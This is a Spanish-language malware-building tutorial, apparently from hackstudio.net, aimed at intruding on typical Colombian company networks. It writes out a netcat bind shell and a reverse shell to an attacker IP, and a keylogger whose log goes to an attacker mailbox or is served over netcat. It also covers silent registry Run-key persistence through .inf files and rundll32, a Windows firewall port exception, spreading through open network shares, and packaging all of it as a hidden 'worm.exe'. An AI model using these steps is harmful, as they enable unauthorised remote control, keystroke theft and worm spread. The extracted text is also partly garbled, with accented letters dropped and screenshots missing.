Hacking Within Nails

También podría gustarte

Está en la página 1de 31

http://hackstudio.

net
nkt@hackstudio.net

-----------------------------------------------------------------HACKING WITHIN NAILS


hackeando con las uas
Part 1. The Malware Plague
-----------------------------------------------------------------... si nos toc hacerlo con las uas, pues !! afilmonos las
uas !! ... !! que parezcan verdaderas garras !!! ...
nkt
-----------------------------------------------------------------Intro.
-----------------------------------------------------------------Este documento presenta una perspectiva sobre diferentes tcnicas
"aparentemente de bajo nivel tcnico", con las cuales "cualquier
individuo inquieto" puede desarrollar estrategias efectivas de
ataques informticos (con una alta capacidad de dao). Se pretende
detallar cmo, sin ser ingeniero, sin ser el "super-hacker", sin
ser el experto programador, ni nada por el estilo, una persona
hostil puede lograr excelentes resultados de intrusin en empresas
y organizaciones "tpicas colombianas".
En esta ocasin se estudiar una recopilacin de las principales
tcnicas en el desarrollo bsico de malware.
-----------------------------------------------------------------The malware background
Antecedentes.
-----------------------------------------------------------------Como toda aplicacin o software (programa tambin ser un trmino
usado en este contexto), se requiere principalmente de un archivo
para
ejecutar
el
cdigo
malicioso.
Sin
embargo,
existen
diferencias conceptuales reconocidas por los expertos en seguridad
informtica que establecen una cierta clasificacin del malware,
que define nuestro dominio de conocimiento. Estas diferencias, se
refieren al comportamiento del malware una vez este ataca un
sistema informtico.
De acuerdo a un documento publicado en la CSIRT de Colombia (el
equipo de respuesta a incidentes de seguridad informtica) en
http://www.udistrital.edu.co/comunidad/grupos/arquisoft/colcsirt/D
ocumentos.html (escrito por Juan Carlos Valbuena), una taxonoma
(clasificacin) para especificar malware debe cumplir ciertas
caractersticas de la forma ms ptima posible:

http://hackstudio.net
nkt@hackstudio.net

[1] La taxonoma debe ser completa. Es decir todos los elementos


que se clasifican deben ser abordados dentro de alguna de las
categoras de la taxonoma.
[2] La taxonoma debe ser mutuamente excluyente. Es decir, el
elemento que se clasifica debe pertenecer a una y solo a una
categora. No puede ser dos al mismo tiempo, aunque en el mundo
real se habla de virus con caractersticas de gusanos o gusanos
con caractersticas de troyano, vamos hacer la diferenciacin de
este tipo de aplicaciones de acuerdo a una clasificacin
consistente con el dominio del conocimiento en el rea de malware.
[3] Repetible. Es decir, que al aplicar las mismas reglas
taxonmicas sobre un conjunto de datos, los resultados deben ser
los mismos independientemente del nmero de veces que se analice
el problema. Si la clasificacin taxonmica es consistente, no
debera
haber
variacin
a
aplicar
las
mismas
reglas
de
clasificacin en las mismas condiciones de evaluacin.
Con lo mencionado anteriormente se trabajar sobre el malware
reconocido por las autoridades en seguridad informtica (NTCISO/IEC17799). Se especificar su caracterstica principal y la
diferencia de las dems categoras taxonmicas.
[1] Virus informticos. Se reproducen infectando otros archivos
(por lo general ejecutables, macros, multimedia, etc.)
[2] Gusanos informticos. Se reproducen
Internet (p.e. el correo electrnico).
[3] Troyanos.
hacen otra.
[4] Puertas
intrusos.

Aplicaciones

Traseras.

que

Permiten

aparentan
conexiones

usando
hacer

servicios

una

externas

cosa,
de

de
pero

posibles

[5] Spam. Correos de circulacin masiva, generalmente con el fin


de recolectar listas de correos para la posterior distribucin del
verdadero malware (p.e. un virus o un gusano).
[6] Spyware. Software espa que monitorea las actividades de los
usuarios (p.e. keyloggers, etc)
[7] Rootkits. Realizan varias actividades sospechosas, pero
principal objetivo es ocultarse de los mtodos de deteccin.

su

[8] Phishing. Correos de circulacin masiva que contienen pginas


de acceso suplantadas para el fraude informtico.

http://hackstudio.net
nkt@hackstudio.net

[9] Dialers. Aplicaciones que sirven para el marcado internacional


con el
fin de
ofrecer servicios gratuitos (sobre todo
pornografa), pero que realizan la respectiva tarificacin a la
empresa ISP. Obviamente el ISP, le tarificar al usuario como
llamada la conexin realizada.
[10] adware. Software con contenido comercial por lo general de
carcter publicitario.
Existen obviamente una serie de caractersticas comunes y
compartidas entre las diferentes categoras, y de hecho, el
proyecto de malware a desarrollar incluir varias de las tcnicas
incluidos
para
algunas
de
las
categoras
presentadas
anteriormente.
-----------------------------------------------------------------Malware hacking
Principios de diseo
-----------------------------------------------------------------Este proyecto de desarrollo de malware incluir los siguientes
targets.
[1] payload o
backdoor para
tipo TCP. Por
monitorear las

carga destructiva. Analizaremos el uso bsico de un


establecer una conexin en un puerto de conexin
otra parte analizaremos el uso de un spyware para
actividades del usuario vctima, tipo keylogger.

[2] bootLoader. violacin del registro de configuraciones


windows con el fin de garantizar el arranque del malware.

de

[3] mecanismo de distribucin. De tal forma que el malware se


disperse al
interior de
una infraestructura de red tipo
LAN/Ethernet
[4] evasin bsica de firewall. Con el fin
deteccin al ejecutar comportamientos sospechosos

de

[5] empaquetamiento y scripting. Creacin


configuracin de scripts de funcionamiento

ejecutables

de

evitar

la
y

[6] troyanizacin. Cuyo objetivo es involucrar a la vctima en


el proceso de intrusin
P.D. existen un abanico de tcnicas alternativas (y de alto nivel
tcnico) como p.e. buffer-heap-stack overflowing, shellcoding,
process jumping, antivirus attack, bugs exploiting, dlls and
exes injection, etc. Estas tcnicas se conocen ya como el arte de
la explotacin y la intrusin (the art of intrusion and

http://hackstudio.net
nkt@hackstudio.net

exploitation.) y requieren una alta capacidad de programacin. El


propsito de este proyecto es lograr los mismos resultados (o
similares) sin tener que acudir a la complejidad que estas
tcnicas requieren. En pocas palabras vamos a hackear con las
uas (hacking within nails).
-----------------------------------------------------------------Malware Development
Desarrollo
-----------------------------------------------------------------[1] payload.
Consiste en la aplicacin que realmente hace dao al sistema. Esto
se
conoce
como
carga
destructiva.
En
primera
instancia
utilizaremos un backdoor. En realidad el backdoor (puerta trasera)
solo consiste en un ejecutable que abra un puerto en estado de
escucha (Listening) y nos permita establecer una conexin externa.
Existen varios muy reconocidos, tipo bo, netbus, etc. Todos ellos
requieren fase de instalacin y configuracin, por lo que no nos
permite incluirlos de forma sencilla en la fase de scripting.
Se utilizar en su lugar el reconocido netcat (a.k.a. nc, la
navaja suiza), una de las mejores utilidades para conexiones
TCP/IP. El comando de ejecucin que nos permite ejecutar nc modo
de escucha/Listening (-L) para lanzar (-e cmd.exe) una consola de
comandos al conectarnos al puerto (-p 666) establecido es
sencillo:
> nc L d p 666 e cmd.exe
la opcin d le dice a nc que corra de forma oculta (sin levantar
una consola).
Si verificamos el estado de red del sistema a travs de la consola
(basta con ejecutar el comando netstat), podemos verificar que se
abre el puerto establecido para escuchar por conexiones entrantes.

Por el momento, como payload,


problema actual es que desde

es suficiente. Sin embargo, el


hace un par de aos, algunos

http://hackstudio.net
nkt@hackstudio.net

antivirus han decidido incluir nc en sus bases de firmas. Esto


significa que es posible que en algunos hosts vctimas el
antivirus emita una alarma.
Alternativas:
[1] se podra tomar el cdigo fuente de netcat y recompilarlo
tratando de cambiar algunas opciones con el fin de que la firma no
sea reconocida por el antivirus.
[2] se podra utilizar un wrapper especial que encripte el cdigo
binario de netcat con el fin de que el antivirus no pueda realizar
su anlisis de forma correcta.
[3] la mejor. Desarrolla tu propio cdigo. Nuestro amigo e
investigador en seguridad, Kadete (a.k.a. Juan E. Pecantet) ha
desarrollado una aplicacin (LuzyFer), para conexiones tcp que
abre un socket a la escucha en el puerto 4444, establece
conexiones con un cliente, recibe solicitudes y procesa comandos.
El cdigo til de esta aplicacin no supera las 50 lneas de
cdigo en lenguaje c, con la ventaja de que por ser cdigo
limpio (cdigo que no ha sido testeado anteriormente por los
sistemas de antivirus convencionales) no forma parte de la mayora
de las bases de firmas vricas. Felicitaciones KDT !!!.
P.D.
Kadete
reside
en
Argentina,
Se
puede
contactar
en
kadete.unix@gmail.com, trabaja para un grupo de investigacin en
hacking. A continuacin se presenta un preview del sencillo cdigo
con el que se puede obtener muy buenos resultados en el desarrollo
de un backdoor (LuzyFer).

http://hackstudio.net
nkt@hackstudio.net

Cualquiera de las aplicaciones anteriores simplemente cumplen con


las funciones de backdoor cuyo objetivo es esencialmente la
ejecucin de comandos de shell en la mquina vctima.
Ahora, talvez sera interesante aadir al payload del malware
algn tipo de funcin espa (spyware). Para ello incluiremos el
uso de un keylogger desarrollado por el grupo de investigacin en
seguridad
informtica
de
la
Universidad
del
Cauca
(http://gseguridad.unicauca.edu.co). El keylogger, desarrollado
por Rony Arana (investigador y desarrollador) y Siler Amador
Donado (coordinador del grupo de investigacin) genera un archivo
de texto plano que es enviado a una cuenta de correo. Tambin es
cdigo limpio, por lo cual no es detectado por los antivirus. El
inconveniente es que el keylogger est configurado para enviar el
archivo de texto con los datos de las pulsaciones de tecla a una
cuenta de correo electrnico que se pasa por argumento en la lnea
de comandos. A continuacin se presenta un overview del cdigo
fuente del keylogger.

El servidor de correo que permite el reenvo del correo debe estar


con su configuracin por defecto (que efectivamente es defectuosa)
para permitir el relay. As que para el uso dentro de nuestro
proyecto de malware no utilizaremos la funcin de envo al correo
electrnico. Por el contrario, utilizaremos el mismo netcat para
que al recibir una conexin, me permita descargar el archivo.
Poner a funcionar el keylogger es sencillo.
> keylogger intruso@devilhome.com
Esta funcin genera un Archivo que se llama lgPh.log, donde se
almacenan las pulsaciones de teclado. As, lo nico que se
requerira sera cargar archivo de datos en un flujo para ser
transmitido por netcat. Esto es sencillo:
> nc L p 665 < lgPh.log
Hasta este momento est completa la carga destructiva del malware.
Se pueden hacer muchas ms cosas. Las opciones son innumerables y
ya dependen de la capacidad y creatividad del intruso. Una de las
ms atractivas (y que se ha impuesto de moda), es la tcnica
llamada pharming, en la cual se suplantan direcciones IP por URL's
validos en
el archivo
de configuracin de hosts (a.k.a.

http://hackstudio.net
nkt@hackstudio.net

%SystemRoot%\system32\drivers\etc\hosts,
en
el
caso
de
esta
mquina
donde
se
est
editando
este
documento:
C:\WINNT\System32\drivers\etc\hosts) para la navegacin web. Esto
es de lo ms sencillo de realizar, ya que simplemente se requiere
reemplazar un archivo de texto. Por mostrar un ejemplo, en el
siguiente preview asignamos una direccin de la mquina atacante
(192.168.1.4) que tiene un servidor web con una rplica de la
pgina suplantada.

El usuario ingenuo, simplemente introduce sus datos en los


formularios, el atacante guarda los datos recolectados en
variables en su base de datos y redirecciona a la verdadera
pgina de error de la entidad suplantada. Listo. El usuario
simplemente ha de creer que introdujo mal los datos en sus
formularios. Este es el famoso phishing (con muchos adeptos por
estos das). Por efectos pedaggicos del desarrollo de este
proyecto, se cambiar el nombre de los ejecutables as: nc.exe se
reemplazar por win32.exe, y keylogger.exe se reemplazar por
run32dl.exe (solo por utilizar un conjunto de nombres que
dificulten el proceso de identificacin del malware).
[2]
bootLoader.
violacin
(Hacking Registry).

del

registro

de

configuraciones

Existen varias formas de establecer un punto de arranque para


cualquier malware. Estos puntos de arranque se conocen como ASEPs
(Autostart
Extensibility
Points)
y
se
presenta
una
buena
referencia en:
http://www.pestpatrol.com/pestinfo/autostartingpests.asp.
A continuacin se referencian algunas:
[-] Directorio de Inicio
%ALLUSERSPROFILE%\Men Inicio\Programas\Inicio
Para una instalacin tpica en espaol, un ejemplo podra ser:
C:\Documents and Settings\All Users\Men Inicio\Programas\Inicio

http://hackstudio.net
nkt@hackstudio.net

[-] Entradas en el archivo win.ini (c:\windows\win.ini)


La sintaxis de las entradas es del tipo:
-----------------------------------------------------------------[windows]
run=c:\windows\system32\malware.exe
load=anything
-----------------------------------------------------------------[-] Entradas en el archivo system.ini (c:\windows\system.ini)
La sintaxis de las entradas es del tipo:
-----------------------------------------------------------------[boot]
shell=explorer.exe c:\windows\system32\malware.exe
-----------------------------------------------------------------[-] Gindous Registry
El registro es el rea de campo de trabajo de la mayora del
malware en la actualidad. Se utilizar en este proyecto para
garantizar el arranque del malware junto con el sistema operativo.
Las claves principales para realizar el boot del malware son (ver
ZELTSER, Lenny. Malware: Fighting malicious code. 2003):
-----------------------------------------------------------------HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\Scripts
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\Load
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System\Scripts
HKEY_CLASSES_ROOT\Exefiles\Shell\Open\Command

-----------------------------------------------------------------Existen otro tipo de claves que permiten forzar la ejecucin de un


archivo dada una solicitud de ejecucin de una aplicacin.
-----------------------------------------------------------------[HKEY_CLASSES_ROOT\exefile\shell\open\command] ="\"%1\" %*"
[HKEY_CLASSES_ROOT\comfile\shell\open\command] ="\"%1\" %*"
[HKEY_CLASSES_ROOT\batfile\shell\open\command] ="\"%1\" %*"

http://hackstudio.net
nkt@hackstudio.net
[HKEY_CLASSES_ROOT\htafile\Shell\Open\Command] ="\"%1\" %*"
[HKEY_CLASSES_ROOT\piffile\shell\open\command] ="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command]
[HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command]
[HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command]
[HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\Open\Command]
[HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command]

="\"%1\"
="\"%1\"
="\"%1\"
="\"%1\"
="\"%1\"

%*"
%*"
%*"
%*"
%*"

-----------------------------------------------------------------Un ejemplo del uso exagerado de este tipo de claves es el


malware soundmix.exe, el cual ante cada solicitud de ejecucin
de cualquier cosa volva y cargaba su propio ejecutable. Existen
otras claves especficas, las cuales (como ya se mencion
anteriormente), pueden ser consultadas en:
http://www.pestpatrol.com/pestinfo/autostartingpests.asp.
Otra forma (algo ms ortodoxa, aunque menos visible), es crear el
troyano llamado explorer.exe y ubicarlo en el disco C:\, lo cual
hace que se cargue automticamente el troyano (que implcitamente
puede
llamar
al
verdadero
explorer.exe
en
C:\windows\explorer.exe).
Existen muchas diversas formas de establecer un punto de arranque
del malware, de tal manera que en fin, esto depender en alto
grado de la capacidad/creatividad del desarrollador del malware.
P.e. basta con crear un troyano que al ejecutarse, revise si est
activo el iexplorer.exe. De ser as, que lo baje (elimine el
proceso), que copie una versin del iexplorer.exe troyanizada y
vuelva a levantar el proceso. De esta manera, cada vez que el
usuario decida navegar en internet, ejecutar implcitamente el
troyano (que contiene el payload), sin tener que utilizar ninguna
de
las
estrategias
de
bootLoader
desde
el
registro
de
configuraciones de windows. De cualquier forma, por ser este un
proyecto didctico y para realizar la violacin del registro, se
utilizar un valor en una clave tpica, con el fin de tratar de
simular el comportamiento tpico de la mayora de malware. La
clave es run en HKLM.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

http://hackstudio.net
nkt@hackstudio.net

Escribiremos a continuacin el script necesario para instalar un


valor de inicio del malware en dicha clave. Existen varias formas
de realizar este script, aunque por lo general el uso de comandos
tipo reg despliegan un aviso solicitando al usuario de la
mquina la confirmacin de la instalacin en el registro. En lugar
de esto, podemos hacer un script en un archivo .inf para que se
instale de forma silenciosa sin pedir la confirmacin. A
continuacin se presenta el archivo [install.inf]
-----------------------------------------------------------------[Version]
Signature="$Chicago$"
Provider=nkt
[DefaultInstall]
AddReg=nkt
[nkt]
HKLM, Software\Microsoft\Windows\CurrentVersion\Run,,,win32.exe -L -d -p
666 -e cmd.exe

-----------------------------------------------------------------En la pgina oficial de microsoft existe una gua completa para


desarrollar archivos de instalacin/desinstalacin bajo directivas
de archivos .inf. Ahora, el problema consiste en que para instalar
un archivo .inf, desde el explorador de windows se necesita dar
click derecho y seleccionar la opcin instalar en el men
contextual. Obviamente que no podemos esperar que sea un usuario
que haga esto de forma voluntaria. Existe un comando que permite
realizar esta instalacin de forma silenciosa. El script se
describe a continuacin (archivo [install.bat]):
-----------------------------------------------------------------rundll32 setupapi,InstallHinfSection DefaultInstall 132 .\install.inf

-----------------------------------------------------------------Una vez que se ejecute el anterior script (lo cual si puede


automatizarse de forma silenciosa), se instala el script contenido
en el archivo .inf instalado (install.inf).
Lo descrito anteriormente es suficiente para llevar a cabo la
operacin de la violacin del registro de configuraciones. Como ya
se mencion, existen innumerables puntos de carga del malware con
sus claves especficas de registro que pueden aprovecharse de la
misma manera explicada anteriormente. Un script para instalar la
clave (archivo .inf) y un script para realizar la instalacin de
forma silenciosa.

http://hackstudio.net
nkt@hackstudio.net

[3] mecanismo de distribucin.


Existen varias alternativas. Una de las ms tcnicas, es la
deteccin de un bug o fallo natural del sistema (tipo lsass, que
di el canal de difusin al famoso sasser, un gusano que
definitivamente dej su marca en la historia). Por lo general, una
actividad tpica de un gusano, es la bsqueda o exploracin de la
red en bsqueda de este tipo de fallas, y al encontrar un conjunto
de equipos vulnerables en una red, proceder a ejecutar un exploit
que instale el gusano en cada equipo vulnerable. El nivel tcnico
requerido desde el punto de vista de la programacin es alto. Otra
tcnica bastante utilizada, es la bsqueda de direcciones de
correo electrnico. Esto puede hacerse atacando directamente las
libretas de direcciones de aplicaciones como outlook (de hecho,
este tipo
de bsquedas
es tpica). Tambin se
requieren
aplicaciones
especiales
que
realicen
esta
tare
de
forma
especfica. Otra forma, es bombardear directamente el servidor de
correo electrnico de la organizacin en busca de conjuntos de
usuarios. p.e. Cuentas tipo allusers@company.com, que al recibir
un correo, lo redireccionan a todas las cuentas de correo de la
organizacin. Todas estas tcnicas mencionadas anteriormente
pretenden lograr un mecanismo de distribucin del malware, y son
frecuentemente utilizadas y requieren una gran capacidad de
programacin.
En la propuesta de este proyecto procederemos a utilizar un modelo
mucho ms sencillo para la distribucin de un malware al interior
de una infraestructura LAN/Ethernet. Es el abuso de los recursos
compartidos en una red tpica ms-windows. Vale la pena mencionar
que en muchas redes corporativas, por necesidad de acceso a
archivos y falta de conciencia en el rea de seguridad de la
informacin, suele mantenerse de forma indefinida e irreglamentada
un
conjunto
de
recursos
compartidos
sin
ningn
tipo
de
restriccin. Esto tambin es altamente explotable, y generalmente
es una de las acciones tpicas de un gusano. En este proyecto se
aprovechar la caracterstica tpica de redes windows XP en la
cual
existe
una
carpeta
tpica
para
compartir
recursos
(Documentos Compartidos). La configuracin tpica tambin es el
acceso a dicha carpeta con privilegios de lectura/escritura y sin
ningn tipo de autenticacin. Siendo as, no resta, sino
scriptar nuestras instrucciones para que se copie el cuerpo del
malware en las carpetas que encuentre compartidas de forma
vulnerable (en este caso, la tpica carpeta que parece que no
puede faltar en ningn equipo ... Musica, raro no??). El cdigo
del script se incluir en el archivo [dist.bat]
-----------------------------------------------------------------FOR /F tokens=1 %i IN (dirs.txt) do xcopy malware.exe \\%i\Musica 2>nul

------------------------------------------------------------------

http://hackstudio.net
nkt@hackstudio.net

donde debe existir un archivo [dirs.txt] que contenga una lista de


direcciones IP a testear.
-----------------------------------------------------------------192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.5
192.168.1.6
192.168.1.7
192.168.1.8
192.168.1.9
...

-----------------------------------------------------------------Obviamente, en este caso, el desarrollador del malware, tiene


conocimiento de el rango de direcciones IP que desea infectar; sin
embargo esto no omite que un script ms elaborado, realice las
bsquedas de direcciones IP automticamente. Lo tpico sera
utilizar el mismo bucle anterior y en lugar del xcopy, utilizar
comandos net, p.e.
-----------------------------------------------------------------> net use * \\IPVictimas\IPC$

-----------------------------------------------------------------Por otra parte, herramientas especializadas en exploracin de


redes
como
netviewx
(de
Jesper
Lauritsen,
http://www.ibt.ku.dk/jesper/NTtools), nete (de Sir Dystic de The
Cult of Dead Cow, a.k.a. El culto de la vaca muerta, famoso
grupo
en
la
historia
del
hacking),
enum
(http://www.bindview.com/support/Razor/Utilities) y NAT (parte del
antiguo Legion), permiten realizar scripts ms complejos que
exploran mquinas a nivel de red para localizar recursos
compartidos, listas de usuarios, etc. Por pedagoga en este
proyecto nos limitaremos al script primitivo visto anteriormente
que cumple con la funcionalidad que requerimos.
[4] evasin bsica de firewall.
En
este
punto,
ya
hemos
obtenido
prcticamente
toda
la
funcionalidad de nuestro proyecto de malware. Ahora, necesitamos
proteger nuestra actividad intrusiva. El firewall talvez sea la
principal aplicacin a evitar (aparte de los IDS, que para el
prototipo habitual de una infraestructura LAN en nuestras
empresas, suele ser considerado una exageracin en costos y
esfuerzos ... de dnde sale que todos los ataques informticos
solo le suceden a microsoft, el FBI, la NASA y el pentgono??).
Bien, en un escenario tpico a nivel de intranet, generalmente

http://hackstudio.net
nkt@hackstudio.net

nos conformamos con ver el icono de firewall activo en nuestra


systray. Se podra utilizar aplicaciones tipo microchip (un
ejecutable que lastimosamente ya es detectado por antivirus como
kaspersky) que al ejecutarse baja automticamente el firewall de
windows.
Sin embargo (y como cosa rara en los entornos ms-win), la
configuracin del firewall tambin est delegada al registro de
configuraciones.

Esto implica que basta un simple script para modificar la


configuracin del firewall y evitar que aparezca el aviso de
bloqueo de conexin. El script es sencillo y se presenta a
continuacin (archivo [fw.inf]):
-----------------------------------------------------------------[Version]
Signature="$Chicago$"
Provider=nkt
[DefaultInstall]
AddReg=fw
[fw]
HKLM,
SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Stan
dardProfile\GloballyOpenPorts\List,666:TCP,,666:TCP:*:Enabled:win32.exe

-----------------------------------------------------------------Obviamente, tambin para instalar este archivo [fw.inf] de forma


silenciosa, requerimos un archivo por lotes [fw.bat]:
-----------------------------------------------------------------rundll32 setupapi,InstallHinfSection DefaultInstall 132 .\fw.inf

------------------------------------------------------------------

http://hackstudio.net
nkt@hackstudio.net

A nivel de intranet ... !!! ESO ES TODO !!!. al violar el


registro, le decimos que la aplicacin win32.exe (nuestro
backdoor) va a abrir el puerto (666) y que simplemente el firewall
de windows debe quedarse callado. Solo basta prestarle atencin
a que este script debe ejecutarse antes de intentar poner el
backdoor en escucha por conexiones.
Para complementar este proyecto, en caso de requerir aprovechar la
funcionalidad de nuestro malware de forma externa a la intranet,
se necesitara evadir el firewall de red (generalmente un firewall
corporativo que realiza funciones NAT). Basta con utilizar un
puerto comn que no suele ser filtrado, p.e. El puerto 53,
utilizado para consultad DNS, que se requiere para hacer la
resolucin de nombres en las consultas de internet. Entonces,
sencillamente podramos proceder a hacer una operacin delicada;
se conoce como callback. En lugar de ser la mquina vctima la que
permanece en estado Listening (-L para netcat), ponemos en escucha
la mquina atacante, y configuramos nuestro backdoor para que sea
la vctima la que se conecte (y nos enve una hermosa consola) a
la mquina atacante. Se requerira entonces que dispongamos de una
direccin IP real, pues el backdoor necesita saber con quin se
conecta. Si la conexin se establece a travs de un puerto no
filtrado por el firewall de red, pues, sencillamente !!! YA
ESTARA TODO HECHO !!!!.
A continuacin se muestran los scripts necesarios para realizar un
callback desde nuestro backdoor (tomaremos como mquina atacante
la 192.168.1.4, y en una mquina virtual vmware, emularemos la
mquina vctima con IP 192.168.1.9).
En la mquina atacante:
-----------------------------------------------------------------> nc -L -p 666 -v

------------------------------------------------------------------

http://hackstudio.net
nkt@hackstudio.net

observemos el preview

En la mquina vctima, el backdoor debe estar configurado para


conectarse con el puerto disponible en la mquina atacante (en el
ejemplo se usa el 666, aunque ya se mencion que para efectos de
realizar la evasin de firewall, debera utilizarse un puerto no
filtrado, p.e. 53 [dns], 80 [http], etc.).
El script requerido para hacer el callback desde el backdoor es:
-----------------------------------------------------------------> nc -d IPAtacante puerto -e cmd.exe

-----------------------------------------------------------------En este caso sera:


-----------------------------------------------------------------> nc -d 192.168.1.4 666 -e cmd.exe

-----------------------------------------------------------------Observemos el preview, donde primero indagamos la direccin IP de


la vctima (solo por verificacin), y le pedimos a nuestro querido
netcat que por favor me mande una consolita a la direccin del
atacante en el puerto donde el atacante est esperando que yo me
conecte).

http://hackstudio.net
nkt@hackstudio.net

Ahora, en la mquina atacante se puede observar como se establece


la conexin con una entrada en la consola de la mquina vctima.

Donde podemos observar en consola, que la direccin original


corresponda a la mquina atacante, al recibir una conexin se

http://hackstudio.net
nkt@hackstudio.net

lanza la consola desde la vctima, y al volver a revisar la


direccin IP ... !! estamos en la mquina de la vctima !!!. Y
pods ejecutar desde ah lo que quieras en la vctima
Lo ms importante de los ataques por callbacks: es el alcance de
direcciones no enrutables por ser internas (en el dominio de la
intranet) y estar cubiertas por el firewall. Sin embargo, en
este punto es importante tener en cuenta qu tipo de ataque es el
que se realizar. quers controlar la mquinas de tu red desde el
interior de la intranet??, basta con el backdoor en estado de
escucha. No necesitas el callback. quers controlar las mquinas
desde fuera de la intranet??, si tens una mquina con IP esttica
externa, solo te falta configurar bien tus backdoors para que
realicen un callback ... y Listo !!! no ms temores a los
firewalls ;P
presenta algn problema las conexiones por callbacks??. Para un
malware que se distribuye en una red: SI. No sera apropiado que
todos los backdoors intenten conectarse y mandar consolas al nico
puerto en el cual la mquina del atacante est esperando
conectarse con sus vctimas. As que es de prestarle atencin a:
1. configurar los backdoors para que se conecten a distintos
puertos abiertos en la mquina atacante, 2. abrir varios puertos
en escucha en la mquina atacante. De hecho, si el malware est
muy distribuido, el ataque puede salir contraproducente ...
muchos backdoors tratando de conectarse con tu mquina te pueden
ocasionar una inesperada denegacin de servicio. En verdad se
debera refinar la especializacin de este tipo de ataques (ya
habr oportunidad en otra publicacin, je! ...).
P.D. No olvidar que aunque en el callback se utiliz directamente
netcat, en el proyecto del malware, se cambi el nombre del
ejecutable por win32.exe
[5] empaquetamiento y scripting.
La funcionalidad de nuestro proyecto de malware ya est completa.
Sin embargo, en este momento solo tenemos un reguero de scripts.
Necesitamos empaquetar todo de tal forma que baste con un click de
un usuario desprevenido o ignorante o ambicioso, etc. (cualquier
actitud que atente contra la proteccin de la informacin), pues
en ltimas, las mas grandes vulnerabilidades de seguridad
informtica se encuentran en la mente de los usuarios.
Realizaremos a continuacin el empaquetamiento de todos nuestros
scripts. Ni siquiera utilizaremos una super-utilidad. Basta con
ejecutar en windows la utilidad iexpress, o podemos acudir a
nuestro querido winrar. Cualquiera de los dos sirve. Por espacio
en este documento, mostraremos el funcionamiento tanto de iexpress

http://hackstudio.net
nkt@hackstudio.net

como de winrar de forma grfica, y de forma textual se explicar


cual es el orden del empaquetamiento.
Podemos acceder a iexpress desde [inicio->ejecutar], tecleamos
iexpress. Debe desplegar la siguiente ventana (donde debe estar la
opcin de crear un nuevo paquete extraible):

Seleccionamos la opcin crear nuevo archivo de directivas de autoextraccin. Luego, Siguiente

En la interfaz para seleccionar


seleccionamos
extraer
archivos

el
y

propsito del paquete


ejecutar
comandos
de

http://hackstudio.net
nkt@hackstudio.net

instalacin (vamos a necesitar que desde ah se ejecuten nuestros


scripts. Siguiente:

Le damos un ttulo al proyecto (en este caso, empaquetaremos


nuestros
scripts
en
un
archivo
que
se
llame
worm.exe).
Siguiente:

Obviamente le decimos al paquete que no promptee al usuario con


avisos y notificaciones. Siguiente (que otra cosa esperaban??):

http://hackstudio.net
nkt@hackstudio.net

Obviamente que sera ridculo desplegar


instalacin de un malware. Siguiente:

una

licencia

para

la

Seleccionamos todos los archivos que vamos a requerir. Esto


incluye tanto los ejecutables de nuestro payload (nc.exe que ahora
se llama win32.exe, el keylogger, etc.), adems de los scripts que
hemos desarrollado (los scripts que realizan el bootLoader en el
registro, el script de distribucin en carpetas compartidas, el
archivo que contiene la lista de direcciones IP, los scripts que
realizan la evasin del firewall de windows, y todo lo que puedas
necesitar ... ). Solo dale Siguiente:

http://hackstudio.net
nkt@hackstudio.net

En este punto es donde se debe tener cuidado. Debes seleccionar


los
scripts
para
que
se
ejecuten
antes
o
despus
del
desempaquetamiento. Como se puede notar en el preview, puede
seleccionar tanto scripts dentro del paquete, como cualquier
comando que desees que se ejecute. Siguiente:

Obviamente seleccionamos la opcin de desempaquetamiento oculto y


como de costumbre; Siguiente:

http://hackstudio.net
nkt@hackstudio.net

Que no despliegue ningn tipo de mensaje (obvio). Siguiente:

Bautizamos el paquete (con extensin .exe), y le decimos que


Oculte el proceso de desempaquetamiento (nada de animaciones al
usuario). Siguiente:

http://hackstudio.net
nkt@hackstudio.net

Seleccionamos la opcin de no rebootear el sistema (en verdad,


cualquier reinicio, ya se convierte en una actividad bastante
sospechosa). Siguiente:

Ya que el desarrollo de malware es altamente adictivo, es


probable
que
quieras
guardar
el
proyecto
para
volver
a
empaquetarlo en momentos posteriores, o realizar mejoras. Lo
recomendable es salvar elproyecto en un archivo .SED. Doble
Siguiente:

http://hackstudio.net
nkt@hackstudio.net

Si todo el proceso de empaquetamiento


notificar ningn tipo de error (Done!).

sali

bien,

no

debe

Si revisas en el explorador, tienen que haberse generado tanto el


paquete worm.exe como el archivo del proceso de empaquetamiento
